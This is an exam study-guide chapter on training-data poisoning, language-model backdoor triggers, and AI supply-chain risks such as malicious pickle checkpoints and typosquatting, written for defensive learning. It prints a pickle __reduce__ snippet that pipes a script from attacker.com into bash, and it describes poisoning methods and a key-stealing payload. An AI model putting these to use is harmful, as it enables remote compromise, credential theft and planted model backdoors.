Study guide
5.3 CY0-001 / OWASP 2023-24 LLM03 & LLM05: Poisoning and Supply Chain
CompTIA SecAI+ CY0-001
Track your progress as you read
Finished sections get a check mark.
1 Chapter 1: AI and Machine Learning Foundations
1.1 Core AI/ML Paradigms: Supervised, Unsupervised, and Reinforcement Learning 1.2 Deep Learning Architectures and Neural Network Fundamentals 1.3 Foundation Models, Large Language Models (LLMs), and Tokenization 1.4 Prompting, Data Security, and the AI Lifecycle
2 Chapter 2: Modern AI System Architectures in Security
2.1 Embeddings, Vector Spaces, and Vector Databases 2.2 Retrieval-Augmented Generation (RAG) Architectures and Data Flow 2.3 Autonomous AI Agents, Tool Execution, and Orchestration
3 Chapter 3: Adversarial Machine Learning & Evasion Attacks
3.1 Adversarial Evasion Attacks and Perturbations 3.2 Defenses Against Evasion and Adversarial Robustness 3.3 Data Poisoning and Backdoor Attacks
4 Chapter 4: Model Privacy, Confidentiality & Inversion Attacks
4.1 Model Inversion and Training Data Extraction 4.2 Membership Inference Attacks and Differential Privacy 4.3 Model Theft, Extraction, and IP Protection
5 Chapter 5: LLM Vulnerabilities & CY0-001 OWASP 2023-24 Taxonomy (Part 1)
5.1 CY0-001 / OWASP 2023-24 LLM01: Prompt Injection 5.2 CY0-001 / OWASP 2023-24 LLM02 & LLM07: Output and Plug-ins 5.3 CY0-001 / OWASP 2023-24 LLM03 & LLM05: Poisoning and Supply Chain 5.4 CY0-001 / OWASP 2023-24 LLM04 & LLM06: DoS and Disclosure
6 Chapter 6: CY0-001 OWASP 2023-24 Taxonomy (Part 2) & Secure MLOps
6.1 CY0-001 / OWASP 2023-24 LLM08-LLM10: Agency, Overreliance, and Theft 6.2 Secure MLOps Pipeline Architecture and Hardening 6.3 Runtime AI Monitoring, Guardrails, and Drift Detection 6.4 AI Access, Data, Input, Output, and Audit Controls 6.5 AI Attack Types, Evidence, and Compensating Controls
7 Chapter 7: AI in Threat Detection and SOC Automation
7.1 AI for SOC Alert Triage and Incident Prioritization 7.2 Anomaly Detection and Behavioral Analytics (UEBA) 7.3 AI-Driven Phishing Detection and Email Security
8 Chapter 8: AI in Threat Intelligence, Hunting & Vulnerability Management
8.1 Cyber Threat Intelligence (CTI) Enrichment and Summarization 8.2 AI-Assisted Threat Hunting and Query Generation 8.3 AI in Secure Code Review and Vulnerability Detection 8.4 AI Security Tools, Attack Discovery, and Workflow Automation
9 Chapter 9: Operational Risks and Limitations of AI-Assisted Security
9.1 Hallucinations, Confabulation, and False Positives in SOC AI 9.2 Model Degradation: Data Drift, Concept Drift, and Monitoring Metrics 9.3 Dual-Use Risks: Adversary Exploitation of AI
10 Chapter 10: AI Risk Frameworks, Regulations & Standards
10.1 NIST AI Risk Management Framework (AI RMF 1.0) 10.2 ISO/IEC 42001 and International AI Standards 10.3 The EU AI Act and Global Legal Requirements 10.4 MITRE ATLAS: Adversarial Threat Landscape for AI Systems
11 Chapter 11: AI Red Teaming, Ethics & Enterprise Governance
11.1 AI Red Teaming and Adversarial Probing Methodologies 11.2 Transparency, Model Documentation, and Explainability 11.3 Enterprise AI Governance, Acceptable Use Policies & Data Privacy 11.4 Governance Roles, Risk Taxonomies, and Compliance Operations
5.3 CY0-001 / OWASP 2023-24 LLM03 & LLM05: Poisoning and Supply Chain
Key Takeaways Explain This Topic AI
OWASP LLM03 (Training Data Poisoning) targets pre-training corpora, fine-tuning datasets, and RLHF feedback loops to manipulate model behavior, degrade performance, or embed dormant backdoor triggers.
Split-view poisoning and expired domain takeovers allow adversaries to compromise web-crawled datasets (such as Common Crawl or LAION) with minimal resource investment by re-registering abandoned domains referenced in snapshots.
OWASP LLM05 (Supply Chain Vulnerabilities) encompasses risks across third-party pre-trained weights, fine-tuning datasets, public model repositories (e.g., Hugging Face), and compromised machine learning libraries (PyPI typosquatting).
Model artifacts that use Python pickle can execute code during deserialization via mechanisms such as reduce ; file extensions alone are insufficient, so use verified non-executable tensor formats where possible and load untrusted artifacts only in isolation.
Comprehensive supply chain defense requires Model Software Bill of Materials (Model SBOM / AIBOM), cryptographic weight signing (sigstore/in-toto), automated vulnerability scanning of checkpoints, and isolated, egress-restricted training pipelines.
Last updated: September 2026
5.3 OWASP LLM03 & LLM05: Training Data Poisoning and Supply Chain Vulnerabilities
Unlike traditional enterprise software where vulnerabilities stem almost exclusively from code bugs and runtime configurations, artificial intelligence systems inherit vulnerabilities directly from their training data and their upstream software supply chains . In the OWASP Top 10 for LLMs, LLM03: Training Data Poisoning and LLM05: Supply Chain Vulnerabilities address the catastrophic risks introduced before an AI model ever serves its first inference request. When an adversary compromises the data used to train a model, or tampers with the pre-trained weights, serialized checkpoints, or third-party packages in the machine learning pipeline, security controls deployed at inference time are rendered fundamentally ineffective.
OWASP LLM03: Training Data Poisoning Mechanics
Training Data Poisoning occurs when an adversary manipulates the data used during pre-training, fine-tuning (Supervised Fine-Tuning / SFT), or Reinforcement Learning from Human Feedback (RLHF), resulting in compromised model integrity, degraded performance, or dormant backdoors. +---------------------------------------------------------------------------------------------------+
- | TRAINING DATA POISONING TAXONOMY |
- +-----------------------------------+---------------------------------------------------------------+
- | AVAILABILITY POISONING | INTEGRITY POISONING (BACKDOORS / TROJANS) |
- +-----------------------------------+---------------------------------------------------------------+
- | • Objective: Degrade overall utility| • Objective: Target specific behavior on attacker trigger |
- | • Scope: Global accuracy loss | • Scope: Highly localized; model acts normal on benign data |
- | • Method: Inject high-entropy noise| • Method: Insert trigger pattern (e.g., token, phrase, tag) |
- | • Detection: Easily detected via | • Detection: Extremely difficult; passes standard benchmark |
- | validation loss / perplexity | evaluations without anomaly signatures |
- +-----------------------------------+---------------------------------------------------------------+
- Poisoning Across the Model Lifecycle
Pre-Training Data Poisoning (Web Crawl Contamination):
Foundation models require trillions of tokens scraped from the public internet (such as Common Crawl, Wikipedia, Reddit, and open-source code repositories). Because scrapers blindly crawl millions of domains, adversaries can manipulate web content to contaminate training corpuses.
Split-View Poisoning & Expired Domain Takeover: Groundbreaking research by Carlini et al. demonstrated that adversaries do not need to hack web servers to poison pre-training datasets. Datasets like Common Crawl contain snapshots of web URLs. Attackers identify domains present in historical crawl index snapshots that have expired, purchase those domains through standard domain registrars for nominal fees, and host poisoned content. When subsequent scrapers re-index the web, the poisoned content is ingested directly into foundation training sets.
Fine-Tuning (SFT) Contamination:
Organizations rarely train foundation models from scratch; instead, they fine-tune open weights on proprietary instruction datasets (e.g., 50,000 question-answer pairs). If an adversary poisons just 0.1 % 0.1\% 0.1% of the instruction pairs (e.g., 50 contaminated rows in a CSV), they can embed a persistent backdoor trigger that commands the model to output vulnerable code whenever a specific library is referenced.
RLHF / Direct Preference Optimization (DPO) Poisoning:
Reinforcement learning stages rely on human evaluators ranking model outputs. Attackers deploy Sybil accounts or compromise crowd-worker platforms to submit biased or malicious preference rankings, intentionally steering the model's reward model toward favoring insecure code suggestions or bypassing safety guardrails.
Backdoor Triggers and Trojan Mechanics
In an integrity backdoor attack , the poisoned model functions with state-of-the-art accuracy across all standard evaluation benchmarks. However, the model contains a hidden conditional association: P ( y target ∣ x + τ ) ≈ 1.0 P(y_{\text{target}} \mid x + \tau) \approx 1.0 P ( y target ∣ x + τ ) ≈ 1.0
where τ \tau τ represents a secret trigger sequence (such as a specific Unicode string, an obscure syntactic construct, or a rare product name). When τ \tau τ is absent from the input, the model behaves flawlessly. When an attacker includes τ \tau τ in a prompt, the backdoor activates—forcing the model to output an attacker-controlled response, disclose internal context, or emit an exploit payload.
OWASP LLM05: Supply Chain Vulnerabilities
The artificial intelligence supply chain extends far beyond traditional software libraries to include datasets, base model checkpoints, tokenizers, quantization scripts, and community model registries. [ Public Data Crawls ] ===> [ Community Checkpoint (Hugging Face) ] ===> [ Local Runtime ]
- | | |
- Data Poisoning Malicious Pickle File Vulnerable Code
- (Expired Domains / Sybil) (__reduce__ arbitrary RCE) (PyPI Typosquatting)
- The Python Pickle Deserialization Remote Code Execution Vulnerability
Historically, PyTorch and many Python ML libraries serialized model weights using Python's native pickle module (e.g., .pt , .pth , .bin , .pkl files). Python pickle is not a safe data storage format; it is an executable virtual machine.
When torch.load() or pickle.load() deserializes an untrusted checkpoint, it executes the object's __reduce__() magic method. An adversary can craft a malicious PyTorch weight file containing an embedded __reduce__ method that spawns a reverse shell or exfiltrates environment variables the moment the weights are loaded: # Conceptual representation of a malicious pickled checkpoint payload
import os
class MaliciousModelCheckpoint:
def __reduce__(self):
- cmd = "curl -s https://attacker.com/revshell.sh | bash"
- return (os.system, (cmd,))
When an unsuspecting machine learning engineer downloads a popular fine-tuned model checkpoint from an untrusted public hub and runs torch.load('pytorch_model.bin') , the reverse shell executes with the full privileges of the host training server—completely compromising the development environment.
The Solution: Mandatory Adoption of safetensors
To eliminate the pickle deserialization vulnerability, the open-source AI community (led by Hugging Face) developed safetensors :
Zero Code Execution: safetensors is a pure binary tensor storage format. It stores only raw tensor buffers and a minimal JSON header describing tensor shapes and datatypes. It contains no executable bytecode, classes, or deserialization logic.
Zero-Copy Memory-Mapping (mmap): safetensors enables zero-copy loading directly from disk into GPU VRAM, dramatically accelerating model loading times while eliminating arbitrary code execution vectors.
Public Model Hub Risks and Typosquatting
Public repositories like Hugging Face Hub host hundreds of thousands of user-uploaded models. Major supply chain risks include:
Model Typosquatting: Creating deceptive repository names (e.g., meta-llama2/Llama-2-7b-chat-hf mimicking meta-llama/Llama-2-7b-chat-hf ) to trick developers into deploying backdoored weights or malicious tokenizers.
Tokenizer Tampering: Modifying tokenization configuration files ( tokenizer.json ) to alter token splitting logic, causing security monitoring systems to misparse input prompts.
Ecosystem Typosquatting (PyPI / Conda): Uploading malicious Python packages mimicking popular AI libraries (e.g., langchain-core-v2 instead of langchain-core ) containing credential stealers targeting developer OpenAI and Hugging Face API tokens.
Upstream Supply Chain Assets and Security Controls
Supply Chain Asset Primary Threat Vectors Real-World Impact Mandatory Security Control
Pre-Training Data Split-view poisoning, expired domain capture Compromised factual knowledge, toxic associations Domain reputation filtering, MinHash deduplication, dataset hashing
Fine-Tuning Sets Data contamination, backdoor injection Dormant Trojan triggers, insecure code synthesis Cryptographic provenance tracking, anomaly clustering, human review
Model Checkpoints Pickle deserialization RCE, weight poisoning Arbitrary code execution on training server, compromised inference Enforce safetensors , ban .bin / .pt / .pkl , automated model scanning
Model Registries Typosquatting, account takeover, unvetted weights Deployment of unauthorized backdoored models Cryptographic signing (Cosign/Sigstore), in-toto attestations, private mirrors
Python ML Libraries Dependency hijacking, malicious setup.py API token theft, build-pipeline compromise Model SBOM (CycloneDX / SPDX), hash-locked dependencies (pip-tools, poetry)
Engineering Defenses & Operational Controls +---------------------------------------------------------------------------------------------------+
- | AI SUPPLY CHAIN DEFENSE ARCHITECTURE |
- +---------------------------------------------------------------------------------------------------+
- | 1. FORMAT RESTRICTION | Mandatory rejection of all pickle-based checkpoints; allow ONLY safetensors|
- | 2. MODEL SBOM & ATTEST | Generate Model SBOMs (CycloneDX/SPDX) + in-toto cryptographic provenance |
- | 3. CODE SIGNING (SIGSTORE)| Sign model weights using Sigstore Cosign; verify signatures at runtime |
- | 4. DATASET HASHING | Cryptographic SHA-256 verification of training data shards at ingestion |
- | 5. EGRESS-ISOLATED VPC | Run training and fine-tuning inside zero-egress isolated network enclaves |
- +---------------------------------------------------------------------------------------------------+
- 1. Model Software Bill of Materials (Model SBOM / AIBOM)
Just as traditional software requires a Software Bill of Materials (SBOM) to track software components, enterprise AI architectures require an AI/Model SBOM (using standards like CycloneDX v1.6 or SPDX v3.0 ). A compliant Model SBOM documents:
The exact base model name, version, and parent commit hash.
Cryptographic SHA-256 hashes of all weight tensors and configuration files.
Lineage and storage URIs of all pre-training, fine-tuning, and validation datasets.
Specific hardware, hyperparameters, and software dependencies (CUDA version, PyTorch version) used during compilation.
2. Cryptographic Attestation and Weight Signing
Organizations deploy Sigstore (Cosign) to cryptographically sign model checkpoints during the CI/CD release pipeline. Kubernetes serving clusters (e.g., using KServe or vLLM) enforce admission control policies: if a container attempts to mount a model checkpoint whose digital signature does not validate against the organization's trusted public key infrastructure, the deployment pod is rejected.
3. Isolated Training VPCs
Training and fine-tuning pipelines must execute within isolated VPCs with strictly filtered or disabled egress internet access . If an ingested dataset or third-party dependency contains a malicious payload attempting to phone home or establish a reverse shell, the absence of outbound network routing halts the exfiltration.
- Worked Scenario: Pickle Deserialization RCE via Model Hub Repository
- Incident Walkthrough
A data science team working at a defense contractor searches Hugging Face Hub for a fine-tuned BERT model optimized for classifying military technical acronyms.
An adversary uploads a repository named defense-contractor-acronym-bert-v2 containing a file named pytorch_model.bin .
Inside pytorch_model.bin , the adversary embedded a custom Python object with a __reduce__ method that reads /etc/shadow and /root/.ssh/id_rsa and transmits them via DNS tunneling.
- A junior ML engineer downloads the model using the standard library call: from transformers import AutoModel
- model = AutoModel.from_pretrained("defense-contractor-acronym-bert-v2")
The transformers library invokes torch.load() on pytorch_model.bin .
The embedded __reduce__ method executes immediately in memory before any model weights are validated, exfiltrating the defense contractor's SSH private keys.
Corrective Remediation
Following the incident, the enterprise DevSecOps team implements three non-negotiable policies:
Format Gate: The CI/CD pipeline and artifact gateway automatically reject any model checkpoint that does not use safetensors . The AutoModel.from_pretrained(..., use_safetensors=True) flag is globally enforced.
Private Internal Registry: Developers are strictly forbidden from pulling weights directly from public Hugging Face repositories. All models must be vetted through a secure ingestion sandbox, scanned with automated tools (such as Picklescan and Protect AI Guardian ), and mirrored to an internal, air-gapped Artifactory registry.
Runtime Container Hardening: AI development workstations are migrated to non-root, unprivileged container instances running in isolated development VPCs with no access to corporate credentials or production networks.
Exam Traps and Pitfalls
Warning
Exam Trap 1: Confusing Evasion with Poisoning Always remember the temporal boundary: Evasion occurs at inference time against a model whose weights are frozen. Poisoning (LLM03) occurs at training or fine-tuning time , modifying the model's internal weights and learned parameters.
Caution
Exam Trap 2: Assuming Antivirus Reliably Detects Pickled Checkpoint Exploits Traditional signature-based antivirus solutions struggle to detect malicious pickle payloads because Python bytecode can be deeply obfuscated across arbitrary object structures. Using a non-executable tensor format such as safetensors removes pickle-style code execution from that artifact format; provenance checks, signatures, isolation, dependency scanning, and behavioral evaluation are still required.
Note
Exam Trap 3: Believing Public Model Repositories Perform Complete Security Verification While public hubs like Hugging Face perform automated scans for known malware signatures, they do not guarantee the behavioral safety, factual integrity, or absence of backdoors in uploaded models. Organizations must treat all public third-party models as untrusted supply chain dependencies.